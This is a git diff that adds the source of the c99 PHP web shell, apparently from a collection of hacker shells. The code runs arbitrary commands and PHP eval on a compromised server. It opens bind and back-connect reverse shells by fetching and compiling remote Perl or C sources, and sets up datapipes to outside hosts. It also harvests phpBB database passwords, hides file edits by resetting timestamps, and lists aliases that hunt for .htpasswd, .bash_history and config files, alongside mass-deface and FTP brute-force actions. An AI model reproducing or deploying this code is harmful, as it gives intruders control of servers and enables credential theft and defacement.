+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret." ";}
+ @chdir($olddir);
+ }
+ else {echo "Execution command "; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
+ echo "".htmlspecialchars($cmd)." Display in text-area ";
+}
+}
+if ($act == "ls")
+{
+ if (count($ls_arr) > 0) {$list = $ls_arr;}
+ else
+ {
+ $list = array();
+ if ($h = @opendir($d))
+ {
+ while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
+ closedir($h);
+ }
+ else {}
+ }
+ if (count($list) == 0) {echo "Can't open folder (".htmlspecialchars($d).")! ";}
+ else
+ {
+ //Building array
+ $objects = array();
+ $vd = "f"; //Viewing mode
+ if ($vd == "f")
+ {
+ $objects["head"] = array();
+ $objects["folders"] = array();
+ $objects["links"] = array();
+ $objects["files"] = array();
+ foreach ($list as $v)
+ {
+ $o = basename($v);
+ $row = array();
+ if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
+ elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
+ elseif (is_dir($v))
+ {
+ if (is_link($v)) {$type = "LINK";}
+ else {$type = "DIR";}
+ $row[] = $v;
+ $row[] = $type;
+ }
+ elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
+ $row[] = filemtime($v);
+ if (!$win)
+ {
+ //$ow = posix_getpwuid(fileowner($v));
+ //$gr = posix_getgrgid(filegroup($v));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
+ }
+ $row[] = fileperms($v);
+ if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
+ elseif (is_link($v)) {$objects["links"][] = $row;}
+ elseif (is_dir($v)) {$objects["folders"][] = $row;}
+ elseif (is_file($v)) {$objects["files"][] = $row;}
+ $i++;
+ }
+ $row = array();
+ $row[] = "Name ";
+ $row[] = "Size ";
+ $row[] = "Modify ";
+ if (!$win)
+ {$row[] = "Owner/Group ";}
+ $row[] = "Perms ";
+ $row[] = "Action ";
+ $parsesort = parsesort($sort);
+ $sort = $parsesort[0].$parsesort[1];
+ $k = $parsesort[0];
+ if ($parsesort[1] != "a") {$parsesort[1] = "d";}
+ $y = "";
+ $row[$k] .= $y;
+ for($i=0;$i".$row[$i]." ";}
+ }
+ $v = $parsesort[0];
+ usort($objects["folders"], "tabsort");
+ usort($objects["links"], "tabsort");
+ usort($objects["files"], "tabsort");
+ if ($parsesort[1] == "d")
+ {
+ $objects["folders"] = array_reverse($objects["folders"]);
+ $objects["files"] = array_reverse($objects["files"]);
+ }
+ $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
+ $tab = array();
+ $tab["cols"] = array($row);
+ $tab["head"] = array();
+ $tab["folders"] = array();
+ $tab["links"] = array();
+ $tab["files"] = array();
+ $i = 0;
+ foreach ($objects as $a)
+ {
+ $v = $a[0];
+ $o = basename($v);
+ $dir = dirname($v);
+ if ($disp_fullpath) {$disppath = $v;}
+ else {$disppath = $o;}
+ $disppath = str2mini($disppath,60);
+ if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";}
+ elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";}
+ foreach ($regxp_highlight as $r)
+ {
+ if (ereg($r[0],$o))
+ {
+ if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
+ else
+ {
+ $r[1] = round($r[1]);
+ $isdir = is_dir($v);
+ if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
+ {
+ if (empty($r[2])) {$r[2] = ""; $r[3] = " ";}
+ $disppath = $r[2].$disppath.$r[3];
+ if ($r[4]) {break;}
+ }
+ }
+ }
+ }
+ $uo = urlencode($o);
+ $ud = urlencode($dir);
+ $uv = urlencode($v);
+ $row = array();
+ if ($o == ".")
+ {
+ $row[] = "".$o." ";
+ $row[] = "LINK";
+ }
+ elseif ($o == "..")
+ {
+ $row[] = "".$o." ";
+ $row[] = "LINK";
+ }
+ elseif (is_dir($v))
+ {
+ if (is_link($v))
+ {
+ $disppath .= " => ".readlink($v);
+ $type = "LINK";
+ $row[] = " [".$disppath."] "; }
+ else
+ {
+ $type = "DIR";
+ $row[] = " [".$disppath."] ";
+ }
+ $row[] = $type;
+ }
+ elseif(is_file($v))
+ {
+ $ext = explode(".",$o);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $row[] = " ".$disppath." ";
+ $row[] = view_size($a[1]);
+ }
+ $row[] = date("d.m.Y H:i:s",$a[2]);
+ if (!$win) {$row[] = $a[3];}
+ $row[] = " ".view_perms_color($v)." ";
+ if ($o == ".") {$checkbox = " "; $i--;}
+ else {$checkbox = " ";}
+ if (is_dir($v)){$row[] = "I ".$checkbox;}
+ else {$row[] = "I E D ".$checkbox;}
+ if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
+ elseif (is_link($v)) {$tab["links"][] = $row;}
+ elseif (is_dir($v)) {$tab["folders"][] = $row;}
+ elseif (is_file($v)) {$tab["files"][] = $row;}
+ $i++;
+ }
+ }
+ //Compiling table
+ $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
+ echo "Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders): ";
+ foreach($table as $row)
+ {
+ echo "\r\n";
+ foreach($row as $v) {echo "".$v." \r\n";}
+ echo " \r\n";
+ }
+ echo "
+
+ ";
+ if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
+ {
+ echo " ";
+ }
+ echo "With selected: ";
+ echo "Delete ";
+ echo "Change-mode ";
+ if ($usefsbuff)
+ {
+ echo "Cut ";
+ echo "Copy ";
+ echo "Unselect ";
+ }
+ echo "
";
+ echo "";
+ }
+}
+if ($act == "tools")
+{
+ $bndportsrcs = array(
+ "c99sh_bindport.pl"=>array("Using PERL","perl %path %port"),
+ "c99sh_bindport.c"=>array("Using C","%path %port %pass")
+ );
+ $bcsrcs = array(
+ "c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"),
+ "c99sh_backconn.c"=>array("Using C","%path %host %port")
+ );
+ $dpsrcs = array(
+ "c99sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),
+ "c99sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")
+ );
+ if (!is_array($bind)) {$bind = array();}
+ if (!is_array($bc)) {$bc = array();}
+ if (!is_array($datapipe)) {$datapipe = array();}
+
+ if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
+ if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
+
+ if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
+ if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
+
+ if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
+ if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
+ if (!empty($bindsubmit))
+ {
+ echo "Result of binding port: ";
+ $v = $bndportsrcs[$bind["src"]];
+ if (empty($v)) {echo "Unknown file! ";}
+ elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other! ";}
+ else
+ {
+ $w = explode(".",$bind["src"]);
+ $ext = $w[count($w)-1];
+ unset($w[count($w)-1]);
+ $srcpath = join(".",$w).".".rand(0,999).".".$ext;
+ $binpath = $tmpdir.join(".",$w).rand(0,999);
+ if ($ext == "pl") {$binpath = $srcpath;}
+ @unlink($srcpath);
+ $fp = fopen($srcpath,"ab+");
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+ elseif (!$data = c99getsource($bind["src"])) {echo "Can't download sources!";}
+ else
+ {
+ fwrite($fp,$data,strlen($data));
+ fclose($fp);
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+ $v[1] = str_replace("%port",$bind["port"],$v[1]);
+ $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
+ $v[1] = str_replace("//","/",$v[1]);
+ $retbind = myshellexec($v[1]." > /dev/null &");
+ sleep(5);
+ $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
+ if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
+ else {echo "Binding... ok! Connect to ".getenv("SERVER_ADDR").":".$bind["port"]." ! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]." \"!View binder's process ";}
+ }
+ echo " ";
+ }
+ }
+ if (!empty($bcsubmit))
+ {
+ echo "Result of back connection: ";
+ $v = $bcsrcs[$bc["src"]];
+ if (empty($v)) {echo "Unknown file! ";}
+ else
+ {
+ $w = explode(".",$bc["src"]);
+ $ext = $w[count($w)-1];
+ unset($w[count($w)-1]);
+ $srcpath = join(".",$w).".".rand(0,999).".".$ext;
+ $binpath = $tmpdir.join(".",$w).rand(0,999);
+ if ($ext == "pl") {$binpath = $srcpath;}
+ @unlink($srcpath);
+ $fp = fopen($srcpath,"ab+");
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+ elseif (!$data = c99getsource($bc["src"])) {echo "Can't download sources!";}
+ else
+ {
+ fwrite($fp,$data,strlen($data));
+ fclose($fp);
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+ $v[1] = str_replace("%host",$bc["host"],$v[1]);
+ $v[1] = str_replace("%port",$bc["port"],$v[1]);
+ $v[1] = str_replace("//","/",$v[1]);
+ $retbind = myshellexec($v[1]." > /dev/null &");
+ echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."... ";
+ }
+ }
+ }
+ if (!empty($dpsubmit))
+ {
+ echo "Result of datapipe-running: ";
+ $v = $dpsrcs[$datapipe["src"]];
+ if (empty($v)) {echo "Unknown file! ";}
+ elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other! ";}
+ else
+ {
+ $srcpath = $tmpdir.$datapipe["src"];
+ $w = explode(".",$datapipe["src"]);
+ $ext = $w[count($w)-1];
+ unset($w[count($w)-1]);
+ $srcpath = join(".",$w).".".rand(0,999).".".$ext;
+ $binpath = $tmpdir.join(".",$w).rand(0,999);
+ if ($ext == "pl") {$binpath = $srcpath;}
+ @unlink($srcpath);
+ $fp = fopen($srcpath,"ab+");
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+ elseif (!$data = c99getsource($datapipe["src"])) {echo "Can't download sources!";}
+ else
+ {
+ fwrite($fp,$data,strlen($data));
+ fclose($fp);
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+ list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+ $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
+ $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
+ $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
+ $v[1] = str_replace("//","/",$v[1]);
+ $retbind = myshellexec($v[1]." > /dev/null &");
+ sleep(5);
+ $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
+ if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";}
+ else {echo "Running datapipe... ok! Connect to ".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]." ! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]." \"!View datapipe process ";}
+ }
+ echo " ";
+ }
+ }
+ ?>Binding port: Port: "> Password: "> $v) {echo "".$v[0]." ";}
+ ?>
+Back connection: HOST: "> Port: "> $v) {echo "".$v[0]." ";}
+?>
+Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p "!
+Datapipe: HOST: "> Local port: "> $v) {echo "".$v[0]." ";}
+?> Note: sources will be downloaded from remote server.Processes: ";
+ if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
+ else {$handler = "tasklist";}
+ $ret = myshellexec($handler);
+ if (!$ret) {echo "Can't execute \"".$handler."\"!";}
+ else
+ {
+ if (empty($processes_sort)) {$processes_sort = $sort_default;}
+ $parsesort = parsesort($processes_sort);
+ if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
+ $k = $parsesort[0];
+ if ($parsesort[1] != "a") {$y = "! ";}
+ else {$y = "! ";}
+ $ret = htmlspecialchars($ret);
+ if (!$win)
+ {
+ if ($pid)
+ {
+ if (is_null($sig)) {$sig = 9;}
+ echo "Sending signal ".$sig." to #".$pid."... ";
+ if (posix_kill($pid,$sig)) {echo "OK.";}
+ else {echo "ERROR.";}
+ }
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ $stack = explode("\n",$ret);
+ $head = explode(" ",$stack[0]);
+ unset($stack[0]);
+ for($i=0;$i".$head[$i]." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line)
+ {
+ if (!empty($line))
+ {
+ echo "";
+ $line = explode(" ",$line);
+ $line[10] = join(" ",array_slice($line,10));
+ $line = array_slice($line,0,11);
+ if ($line[0] == get_current_user()) {$line[0] = "".$line[0]." ";}
+ $line[] = "KILL ";
+ $prcs[] = $line;
+ echo " ";
+ }
+ }
+ }
+ else
+ {
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ $ret = convert_cyr_string($ret,"d","w");
+ $stack = explode("\n",$ret);
+ unset($stack[0],$stack[2]);
+ $stack = array_values($stack);
+ $head = explode(" ",$stack[0]);
+ $head[1] = explode(" ",$head[1]);
+ $head[1] = $head[1][0];
+ $stack = array_slice($stack,1);
+ unset($head[2]);
+ $head = array_values($head);
+
+ if ($parsesort[1] != "a") {$y = "! ";}
+ else {$y = "! ";}
+ if ($k > count($head)) {$k = count($head)-1;}
+ for($i=0;$i".trim($head[$i])." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line)
+ {
+ if (!empty($line))
+ {
+ echo "";
+ $line = explode(" ",$line);
+ $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
+ $line[2] = intval(str_replace(" ","",$line[2]))*1024;
+ $prcs[] = $line;
+ echo " ";
+ }
+ }
+ }
+ $head[$k] = "".$head[$k]." ".$y;
+ $v = $processes_sort[0];
+ usort($prcs,"tabsort");
+ if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
+ $tab = array();
+ $tab[] = $head;
+ $tab = array_merge($tab,$prcs);
+ echo "";
+ foreach($tab as $i=>$k)
+ {
+ echo "";
+ foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "".$v." ";}
+ echo " ";
+ }
+ echo "
";
+ }
+}
+if ($act == "eval")
+{
+ if (!empty($eval))
+ {
+ echo "Result of execution this PHP-code : ";
+ $tmp = ob_get_contents();
+ $olddir = realpath(".");
+ @chdir($d);
+ if ($tmp)
+ {
+ ob_clean();
+ eval($eval);
+ $ret = ob_get_contents();
+ $ret = convert_cyr_string($ret,"d","w");
+ ob_clean();
+ echo $tmp;
+ if ($eval_txt)
+ {
+ $rows = count(explode("\r\n",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret." ";}
+ }
+ else
+ {
+ if ($eval_txt)
+ {
+ echo "";
+ eval($eval);
+ echo " ";
+ }
+ else {echo $ret;}
+ }
+ @chdir($olddir);
+ }
+ else {echo "Execution PHP-code "; if (empty($eval_txt)) {$eval_txt = TRUE;}}
+ echo "".htmlspecialchars($eval)." Display in text-area ";
+}
+if ($act == "f")
+{
+ if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
+ {
+ if (file_exists($d.$f)) {echo "Permision denied (".htmlspecialchars($d.$f).")! ";}
+ else {echo "File does not exists (".htmlspecialchars($d.$f).")! Create ";}
+ }
+ else
+ {
+ $r = @file_get_contents($d.$f);
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
+ if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
+ if (empty($ft)) {$ft = $rft;}
+ $arr = array(
+ array("DIZ","info"),
+ array("HTML","html"),
+ array("TXT","txt"),
+ array("Code","code"),
+ array("Session","phpsess"),
+ array("EXE","exe"),
+ array("SDB","sdb"),
+ array("INI","ini"),
+ array("DOWNLOAD","download"),
+ array("RTF","notepad"),
+ array("EDIT","edit")
+ );
+ echo "Viewing file: ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)." Select action/file-type: ";
+ foreach($arr as $t)
+ {
+ if ($t[1] == $rft) {echo " ".$t[0]." ";}
+ elseif ($t[1] == $ft) {echo " ".$t[0]." ";}
+ else {echo " ".$t[0]." ";}
+ echo " |";
+ }
+ echo " ";
+ if ($ft == "info")
+ {
+ echo "Information: Path ".$d.$f." Size ".view_size(filesize($d.$f))." MD5 ".md5_file($d.$f)." ";
+ if (!$win)
+ {
+ echo "Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d.$f));
+ $gr = posix_getgrgid(filegroup($d.$f));
+ echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
+ }
+ echo " Perms ".view_perms_color($d.$f)." Create time ".date("d/m/Y H:i:s",filectime($d.$f))." Access time ".date("d/m/Y H:i:s",fileatime($d.$f))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
";
+ $fi = fopen($d.$f,"rb");
+ if ($fi)
+ {
+ if ($fullhexdump) {echo "FULL HEXDUMP "; $str = fread($fi,filesize($d.$f));}
+ else {echo "HEXDUMP PREVIEW "; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
+ $n = 0;
+ $a0 = "00000000 ";
+ $a1 = "";
+ $a2 = "";
+ for ($i=0; $i";}
+ $a1 .= " ";
+ $a2 .= " ";
+ }
+ }
+ //if ($a1 != "") {$a0 .= sprintf("%08X",$i)." ";}
+ echo " ";
+ }
+ $encoded = "";
+ if ($base64 == 1)
+ {
+ echo "Base64 Encode ";
+ $encoded = base64_encode(file_get_contents($d.$f));
+ }
+ elseif($base64 == 2)
+ {
+ echo "Base64 Encode + Chunk ";
+ $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
+ }
+ elseif($base64 == 3)
+ {
+ echo "Base64 Encode + Chunk + Quotes ";
+ $encoded = base64_encode(file_get_contents($d.$f));
+ $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
+ }
+ elseif($base64 == 4)
+ {
+ $text = file_get_contents($d.$f);
+ $encoded = base64_decode($text);
+ echo "Base64 Decode";
+ if (base64_encode($encoded) != $text) {echo " (failed)";}
+ echo " ";
+ }
+ if (!empty($encoded))
+ {
+ echo "".htmlspecialchars($encoded)." ";
+ }
+ echo "HEXDUMP: [Full ] [Preview ]Base64:
+[Encode ]
+[+chunk ]
+[+chunk+quotes ]
+[Decode ]
+";
+ }
+ elseif ($ft == "html")
+ {
+ if ($white) {@ob_clean();}
+ echo $r;
+ if ($white) {c99shexit();}
+ }
+ elseif ($ft == "txt") {echo "
".htmlspecialchars($r)." ";}
+ elseif ($ft == "ini") {echo ""; var_dump(parse_ini_file($d.$f,TRUE)); echo " ";}
+ elseif ($ft == "phpsess")
+ {
+ echo "";
+ $v = explode("|",$r);
+ echo $v[0]." ";
+ var_dump(unserialize($v[1]));
+ echo " ";
+ }
+ elseif ($ft == "exe")
+ {
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($exeftypes as $k=>$v)
+ {
+ if (in_array($ext,$v)) {$rft = $k; break;}
+ }
+ $cmd = str_replace("%f%",$f,$rft);
+ echo "Execute file: Display in text-area ";
+ }
+ elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo " ";}
+ elseif ($ft == "code")
+ {
+ if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
+ {
+ $arr = explode("\n",$r);
+ if (count($arr == 18))
+ {
+ include($d.$f);
+ echo "phpBB configuration is detected in this file! ";
+ if ($dbms == "mysql4") {$dbms = "mysql";}
+ if ($dbms == "mysql") {echo "Connect to DB ";}
+ else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99madshell. Please, report us for fix.";}
+ echo "Parameters for manual connect: ";
+ $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
+ foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."' ";}
+ echo " ";
+ }
+ }
+ echo "";
+ if (!empty($white)) {@ob_clean();}
+ highlight_file($d.$f);
+ if (!empty($white)) {c99shexit();}
+ echo "
";
+ }
+ elseif ($ft == "download")
+ {
+ @ob_clean();
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".filesize($d.$f));
+ header("Content-disposition: attachment; filename=\"".$f."\";");
+ echo $r;
+ exit;
+ }
+ elseif ($ft == "notepad")
+ {
+ @ob_clean();
+ header("Content-type: text/plain");
+ header("Content-disposition: attachment; filename=\"".$f.".txt\";");
+ echo($r);
+ exit;
+ }
+ elseif ($ft == "edit")
+ {
+ if (!empty($submit))
+ {
+ if ($filestealth) {$stat = stat($d.$f);}
+ $fp = fopen($d.$f,"w");
+ if (!$fp) {echo "Can't write to file! ";}
+ else
+ {
+ echo "Saved! ";
+ fwrite($fp,$edit_text);
+ fclose($fp);
+ if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
+ $r = $edit_text;
+ }
+ }
+ $rows = count(explode("\r\n",$r));
+ if ($rows < 10) {$rows = 10;}
+ if ($rows > 30) {$rows = 30;}
+ echo " ".htmlspecialchars($r)." ";
+ }
+ elseif (!empty($ft)) {echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. ";}
+ else {echo "Unknown extension (".$ext."), please, select type manually. ";}
+ }
+}
+if ($act == "about") {echo "r00t";}
+?>
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/xakep-shells/PHP/c99php.txt b/xakep-shells/PHP/c99php.txt
new file mode 100644
index 0000000..f890330
--- /dev/null
+++ b/xakep-shells/PHP/c99php.txt
@@ -0,0 +1,2735 @@
+array("ext1","ext2","ext3",...),
+// "{action2}"=>array("ext1","ext2","ext3",...),
+// ...
+// )
+$ftypes = array(
+ "html"=>array("html","htm","shtml"),
+ "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg"),
+ "exe"=>array("sh","install","bat","cmd"),
+ "ini"=>array("ini","inf"),
+ "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp"),
+ "img"=>array("gif","png","jpeg","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
+ "sdb"=>array("sdb"),
+ "phpsess"=>array("sess"),
+ "download"=>array("exe","com","pif","src","lnk","zip","rar")
+);
+
+$hexdump_lines = 8; // lines in hex preview file
+$hexdump_rows = 24; // 16, 24 or 32 bytes in one line
+
+$nixpwdperpage = 100; // Get first N lines from /etc/passwd
+
+$bindport_pass = "c99"; // default password for binding
+$bindport_port = "11457"; // default port for binding
+
+/* Command-aliases system */
+$aliases = array();
+$aliases[] = array("-----------------------------------------------------------", "ls -la");
+/* ïîèñê íà ñåðâåðå âñåõ ôàéëîâ ñ suid áèòîì */ $aliases[] = array("find all suid files", "find / -type f -perm -04000 -ls");
+/* ïîèñê â òåêóùåé äèðåêòîðèè âñåõ ôàéëîâ ñ suid áèòîì */ $aliases[] = array("find suid files in current dir", "find . -type f -perm -04000 -ls");
+/* ïîèñê íà ñåðâåðå âñåõ ôàéëîâ ñ sgid áèòîì */ $aliases[] = array("find all sgid files", "find / -type f -perm -02000 -ls");
+/* ïîèñê â òåêóùåé äèðåêòîðèè âñåõ ôàéëîâ ñ sgid áèòîì */ $aliases[] = array("find sgid files in current dir", "find . -type f -perm -02000 -ls");
+/* ïîèñê íà ñåðâåðå ôàéëîâ config.inc.php */ $aliases[] = array("find config.inc.php files", "find / -type f -name config.inc.php");
+/* ïîèñê íà ñåðâåðå ôàéëîâ config* */ $aliases[] = array("find config* files", "find / -type f -name \"config*\"");
+/* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ config* */ $aliases[] = array("find config* files in current dir", "find . -type f -name \"config*\"");
+/* ïîèñê íà ñåðâåðå âñåõ äèðåêòîðèé è ôàéëîâ äîñòóïíûõ íà çàïèñü äëÿ âñåõ */ $aliases[] = array("find all writable directories and files", "find / -perm -2 -ls");
+/* ïîèñê â òåêóùåé äèðåêòîðèè âñåõ äèðåêòîðèé è ôàéëîâ äîñòóïíûõ íà çàïèñü äëÿ âñåõ */ $aliases[] = array("find all writable directories and files in current dir", "find . -perm -2 -ls");
+/* ïîèñê íà ñåðâåðå ôàéëîâ service.pwd ... frontpage =))) */ $aliases[] = array("find all service.pwd files", "find / -type f -name service.pwd");
+/* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ service.pwd */ $aliases[] = array("find service.pwd files in current dir", "find . -type f -name service.pwd");
+/* ïîèñê íà ñåðâåðå ôàéëîâ .htpasswd */ $aliases[] = array("find all .htpasswd files", "find / -type f -name .htpasswd");
+/* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ .htpasswd */ $aliases[] = array("find .htpasswd files in current dir", "find . -type f -name .htpasswd");
+/* ïîèñê âñåõ ôàéëîâ .bash_history */ $aliases[] = array("find all .bash_history files", "find / -type f -name .bash_history");
+/* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ .bash_history */ $aliases[] = array("find .bash_history files in current dir", "find . -type f -name .bash_history");
+/* ïîèñê âñåõ ôàéëîâ .fetchmailrc */ $aliases[] = array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc");
+/* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ .fetchmailrc */ $aliases[] = array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc");
+/* âûâîä ñïèñêà àòðèáóòîâ ôàéëîâ íà ôàéëîâîé ñèñòåìå ext2fs */ $aliases[] = array("list file attributes on a Linux second extended file system", "lsattr -va");
+/* ïðîñìîòð îòêðûòûõ ïîðòîâ */ $aliases[] = array("show opened ports", "netstat -an | grep -i listen");
+
+$sess_method = "cookie"; // "cookie" - Using cookies, "file" - using file, default - "cookie"
+$sess_cookie = "c99shvars"; // cookie-variable name
+
+if (empty($sid)) {$sid = md5(microtime()*time().rand(1,999).rand(1,999).rand(1,999));}
+$sess_file = $tmpdir."c99shvars_".$sid.".tmp";
+
+$usefsbuff = true; //Buffer-function
+$copy_unset = false; //Delete copied files from buffer after pasting
+
+//Quick launch
+$quicklaunch = array();
+$quicklaunch[] = array(" ",$surl);
+$quicklaunch[] = array(" ","#\" onclick=\"history.back(1)");
+$quicklaunch[] = array(" ","#\" onclick=\"history.go(1)");
+$quicklaunch[] = array(" ",$surl."act=ls&d=%upd");
+$quicklaunch[] = array(" ","");
+$quicklaunch[] = array(" ",$surl."act=search&d=%d");
+$quicklaunch[] = array(" ",$surl."act=fsbuff&d=%d");
+$quicklaunch[] = array("Mass deface ",$surl."act=massdeface&d=%d");
+$quicklaunch[] = array("Bind ",$surl."act=bind&d=%d");
+$quicklaunch[] = array("Processes ",$surl."act=ps_aux&d=%d");
+$quicklaunch[] = array("FTP Quick brute ",$surl."act=ftpquickbrute&d=%d");
+$quicklaunch[] = array("LSA ",$surl."act=lsa&d=%d");
+$quicklaunch[] = array("SQL ",$surl."act=sql&d=%d");
+$quicklaunch[] = array("PHP-code ",$surl."act=eval&d=%d");
+$quicklaunch[] = array("PHP-info ",$surl."act=phpinfo\" target=\"blank=\"_target");
+$quicklaunch[] = array("Self remove ",$surl."act=selfremove");
+$quicklaunch[] = array("Logout ","#\" onclick=\"if (confirm('Are you sure?')) window.close()");
+
+//Hignlight-code colors
+$highlight_bg = "#FFFFFF";
+$highlight_comment = "#6A6A6A";
+$highlight_default = "#0000BB";
+$highlight_html = "#1300FF";
+$highlight_keyword = "#007700";
+
+@$f = $_GET[f];
+
+//END CONFIGURATION
+
+// \/ Next code not for editing \/
+
+
+//Starting calls
